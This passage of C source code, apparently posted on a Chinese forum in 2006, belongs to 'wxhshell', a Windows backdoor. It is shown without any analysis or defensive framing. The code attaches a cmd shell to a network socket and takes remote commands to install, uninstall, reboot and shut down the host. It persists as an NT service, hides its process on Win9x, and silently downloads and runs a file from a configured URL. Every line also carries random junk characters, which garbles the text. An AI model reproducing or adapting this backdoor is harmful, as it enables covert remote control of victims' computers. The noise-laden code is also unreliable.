    switch(cmd[0]) { 9} (w*>_L  
  558P"w0"X  
  // 帮助 9a}9cMJ^"  
  case '?': { <$A,Ex94  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c0qp-=^&.  
    break; fpD$%.y'J  
  } ghk=` !yKw  
  // 安装 Zw.8B0W  
  case 'i': { o~Se[p  
    if(Install()) tyu@ a CK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9R50,l sE  
    else .Pb-{!$Ni  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :D D<0  
    break; Lo%n{*if  
    } WYw#mSp  
  // 卸载 9)Fx;GxL  
  case 'r': { tt"<1 z@  
    if(Uninstall()) NRi5 Vp2=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &X=7b@r  
    else CXa[%{[n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,_2-Op  
    break; g.lTNQm$u  
    } *'%V}R[>  
  // 显示 wxhshell 所在路径 &Y]':gJ  
  case 'p': { +y GQt3U  
    char svExeFile[MAX_PATH]; ,T$ts  
    strcpy(svExeFile,"\n\r"); qJhsMo2IH  
      strcat(svExeFile,ExeFile); j~CnMKN  
        send(wsh,svExeFile,strlen(svExeFile),0); (|gQ i{8  
    break; )@PnpC%H  
    } L, JQ\!c  
  // 重启 ?'a8QJo  
  case 'b': { JMb_00r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oQ$yr^M  
    if(Boot(REBOOT)) s]arNaaA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bSB%hFp=Cp  
    else { SmRlZ!%e  
    closesocket(wsh); XYEwn_Y  
    ExitThread(0); 6Sr]<I +:  
    } fab'\|Y   
    break; ,X4e?$7g  
    } d2rs+-  
  // 关机 asT-=p_ 0.  
  case 'd': { g^AQBF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N[%u>!  
    if(Boot(SHUTDOWN)) T$4{fhV \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S c)^k  
    else { _?{7%(C  
    closesocket(wsh); JJ?{V:  
    ExitThread(0); Ei;tfB  
    } Z_d"<k}I  
    break; "yWw3(V2>  
    } PRKZg]?  
  // 获取shell iI3:<j l  
  case 's': { i+_LKHQN  
    CmdShell(wsh); +$2{u_m,  
    closesocket(wsh); S;|:ci<[=  
    ExitThread(0); /jbAf]"F;  
    break; ?t#wK}d.  
  } ?#xl3Z ;I  
  // 退出 !l:GrT8J  
  case 'x': { ;nY#/%f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =2Y;)wrF  
    CloseIt(wsh); Shn,JmR  
    break; ><V*`{bD9)  
    } m,l/=M  
  // 离开 O%b byR2  
  case 'q': { ajYe?z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gQ1 obT"|  
    closesocket(wsh); SN{z)q  
    WSACleanup(); Cux(v8=n  
    exit(1); 8{ zX=  
    break; 7T~ M`$h  
        } [$N_YcN?  
  } |3H+b,M5  
  } )2}R1K>  
k+<9 45kC  
  // 提示信息 N8<J'7%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )^2eC<t  
} qd`e:s*%  
  } >lI7]hbIs  
&w@]\7L,:  
  return; DaQ"Df_X  
} UKS5{"=T[  
v2T2/y%  
// shell模块句柄 lCi{v.  
int CmdShell(SOCKET sock) mU'<:gL+  
{ RNg?o [S  
STARTUPINFO si; gI+8J.AG=  
ZeroMemory(&si,sizeof(si)); s**<=M GK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 36d nS>4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j\>LJai"  
PROCESS_INFORMATION ProcessInfo; .l}Ap7@  
char cmdline[]="cmd"; H4/wO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _|k$[^ln^  
  return 0; ZsmOn#`=^}  
} 2RiJm"   
7Ai?}%b-  
// 自身启动模式 O-iE0t  
int StartFromService(void) <p@Cx  
{ @d75X YKu  
typedef struct |tXA$}"L8  
{ 4l D$'`  
  DWORD ExitStatus;  q+P@2FL  
  DWORD PebBaseAddress; m[DQ;`Y  
  DWORD AffinityMask; rhv~H"qzW  
  DWORD BasePriority; 3Ax'v|&Hg  
  ULONG UniqueProcessId; ]#!uke Q  
  ULONG InheritedFromUniqueProcessId; } ueFy<F  
}   PROCESS_BASIC_INFORMATION; aDlp>p^E>  
Fs+ tcr/\[  
PROCNTQSIP NtQueryInformationProcess; O zAIz+`  
4kOO3[r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )G[byBa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; % rBz A<  
1S{Biqi+  
  HANDLE             hProcess; ofvR0yV  
  PROCESS_BASIC_INFORMATION pbi; w.qtSW6M+  
BN/ 4O?jD9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C]^Ep  
  if(NULL == hInst ) return 0; w)btv{*  
k"wQ9=HP7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :]3X Ez  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vl^(K_`(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~!S3J2kG{  
spK8^sh  
  if (!NtQueryInformationProcess) return 0; bcIae0LZ  
iL/c^(1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UG| /Px ]  
  if(!hProcess) return 0; st'T._  
U(&c@u%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %nA})nA7=  
F^!D[:;jK  
  CloseHandle(hProcess); 3m1g"  
JWVV?~1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JK,MK|  
if(hProcess==NULL) return 0; wj[yo S  
_]:b@gXUw  
HMODULE hMod; _nGx[1G( 5  
char procName[255]; qGk+4 yC  
unsigned long cbNeeded; #2Rz=QI  
u?').c4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oFk2y^>u  
"N4^ ^~s  
  CloseHandle(hProcess); ?hoOSur+  
A(Ct^/x-  
if(strstr(procName,"services")) return 1; // 以服务启动 b?wrOS  
Dy08.Sss  
  return 0; // 注册表启动 b,!C8rJ  
} !R{IEray  
JsaXI:%1  
// 主模块 ':4cQ4Z  
int StartWxhshell(LPSTR lpCmdLine) ucCf%T\:  
{ ];bRRBEU  
  SOCKET wsl; mh+T!v$[n)  
BOOL val=TRUE; ew;;e|24  
  int port=0; mF~T?L"  
  struct sockaddr_in door; %h. zkocM  
U~G7~L &m  
  if(wscfg.ws_autoins) Install(); <JPN< Kv  
cXweg;  
port=atoi(lpCmdLine); ,05PYBc3  
y<`5  
if(port<=0) port=wscfg.ws_port; LKN7L kl  
@2(u=E:^  
  WSADATA data; )"x6V""Rb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c~|(j \FI  
!Vpi1N\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )k<cd.MX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  3@Ndn  
  door.sin_family = AF_INET; nnlj#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z[O hZ 9  
  door.sin_port = htons(port); eqtZU\GI>  
s.1F=u9a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y6 (L=$+B  
closesocket(wsl); 4[ uqsJB  
return 1; e=]SIR()`  
} |mT%IR  
=4TQ*;V:  
  if(listen(wsl,2) == INVALID_SOCKET) { $v>q'8d  
closesocket(wsl); A;cA|`b  
return 1; _|~Dj)z  
} =<\22d5L  
  Wxhshell(wsl); R~<N*En~  
  WSACleanup(); :>-zT[Lcn  
XQ1]F{?/H  
return 0; 18$d-[hX  
H3wJ5-q(  
} \p^V~fy7rU  
G1|1Z5r  
// 以NT服务方式启动 i0M6;W1T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B>{%$@4  
{ (l5p_x  
DWORD   status = 0; Q0A4}  
  DWORD   specificError = 0xfffffff; SQMl5d1d:  
rgy I:F.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;<~f-D,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N^ +q^iW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ._+cvXy  
  serviceStatus.dwWin32ExitCode     = 0; t{;2$z 0  
  serviceStatus.dwServiceSpecificExitCode = 0; nD i^s{  
  serviceStatus.dwCheckPoint       = 0; [^!SkQ  
  serviceStatus.dwWaitHint       = 0; S5>s&  
!~ o%KQt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [$3+5K#  
  if (hServiceStatusHandle==0) return; 2V~E <K-  
UfW=/T  
status = GetLastError(); ]9!y3"..W{  
  if (status!=NO_ERROR) SIK:0>yK"  
{ 0E\#!L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7_~sa{1R.  
    serviceStatus.dwCheckPoint       = 0; D:`Q\za  
    serviceStatus.dwWaitHint       = 0; t 7Y*/v&P(  
    serviceStatus.dwWin32ExitCode     = status; @9^OHRZX  
    serviceStatus.dwServiceSpecificExitCode = specificError; w4fKh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j"Jf|Hq $  
    return; ]p|?S[!=  
  }  |q3X#s72  
[kg^S`gc#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qV=:2m10x  
  serviceStatus.dwCheckPoint       = 0; ):N#X<b':  
  serviceStatus.dwWaitHint       = 0; la;*>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d&3"?2 IQ  
} [aSuEu?mC  
@x `X|>&  
// 处理NT服务事件,比如:启动、停止 %??v?M*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gf8^nfr  
{ 2: QT`e&  
switch(fdwControl) MKbcJZe  
{ \.2i?<BC  
case SERVICE_CONTROL_STOP: &JX<)JEB=<  
  serviceStatus.dwWin32ExitCode = 0; A%#M#hD/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sOqFEvzo1%  
  serviceStatus.dwCheckPoint   = 0; ^i@anbH  
  serviceStatus.dwWaitHint     = 0; Tm^kZuT{  
  { ~q`f@I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;*?>w|t}w  
  } SM~~:  
  return; gk%01&_>4  
case SERVICE_CONTROL_PAUSE: V u")%(ix  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )\yK61aX  
  break; 6UCF w>  
case SERVICE_CONTROL_CONTINUE: vom3 C9o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s AFn.W  
  break; :uo)-9_  
case SERVICE_CONTROL_INTERROGATE: =`x }9|[  
  break; 1 b 7jNkQ  
}; b |:Y3_>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "{8j!+]4i  
} JuZkE9C,${  
7V%P  
// 标准应用程序主函数 -sJ1q^;f@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !aSj1 2J  
{ Oj-\  
9(t(sP_  
// 获取操作系统版本 ;6@sC[  
OsIsNt=GetOsVer(); HGAi2+&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s(py7{ ^K  
'goKYl#1Q  
  // 从命令行安装 {|>'(iqH"w  
  if(strpbrk(lpCmdLine,"iI")) Install(); + yI$4MY  
Muwlehuq  
  // 下载执行文件 Cu`  
if(wscfg.ws_downexe) { ![Qi+xyc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xHt7/8wF  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q z(n41@`  
} G,>YzjMY`  
\k5"&]I3  
if(!OsIsNt) { {9(0s| pr  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ma!  
HideProc(); (F^R9G|  
StartWxhshell(lpCmdLine); dC,C[7\  
} %GTFub0 F  
else R?u(aY)P  
  if(StartFromService()) a/ uo)']B  
  // 以服务方式启动 %Bw:6Y4LZ  
  StartServiceCtrlDispatcher(DispatchTable); 'IY?=#xr'`  
else \ Bj{.jL  
  // 普通方式启动 &]YyV.  
  StartWxhshell(lpCmdLine); Ck#e54gJX  
T1q27I  
return 0; $y6 <2w%b  
}
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只看该作者 1 发表于: 2006-10-10
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